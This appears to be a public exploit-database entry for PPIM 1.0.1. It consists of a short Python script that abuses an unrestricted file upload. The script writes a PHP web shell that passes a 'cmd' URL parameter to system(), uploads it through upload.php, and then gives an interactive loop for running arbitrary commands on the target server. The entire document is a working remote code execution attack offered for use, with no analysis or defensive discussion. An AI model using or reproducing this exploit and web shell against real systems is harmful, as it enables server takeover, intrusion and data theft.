# Exploit Title   : PPIM 1.0.1
# Date            : 26 June 2019
# Exploit Author  : Doctor_Hacker
# Version         : PPIM 1.0.1 
# Tested on       : Windows

import requests

#Define IP and port.
IP='127.0.0.1'
port=80

#Build URL String
url='http://'+IP+':'+str(port)+'/upload.php'

#Get session headers
my_session = requests.Session() 
r = my_session.get(url)


#Build shell file to upload.
text_file=open ("shell.php","w")
text_file.write ('<?PHP system($_GET["cmd"]); ?>'+'\n')
text_file.close()

#Define file to upload for the POST
myfile = {'userfile': open('shell.php' ,'rb')}
#Set all POST variables.
payload = {'submitupload': 'Upload' }

#Now do the POST.
x = my_session.post(url, files = myfile, data=payload)


while True:
	#Get the command
	print ("Type exit to get out of here.")
	cmd = input('shell@'+IP+':~# ')

	if cmd.strip() == 'exit':
		break

	#Build URL String
	url='http://'+IP+':'+str(port)+'/upload/shell.php?cmd='+cmd

	#Run the SHELL.
	r = my_session.get(url)
	print(r.text)

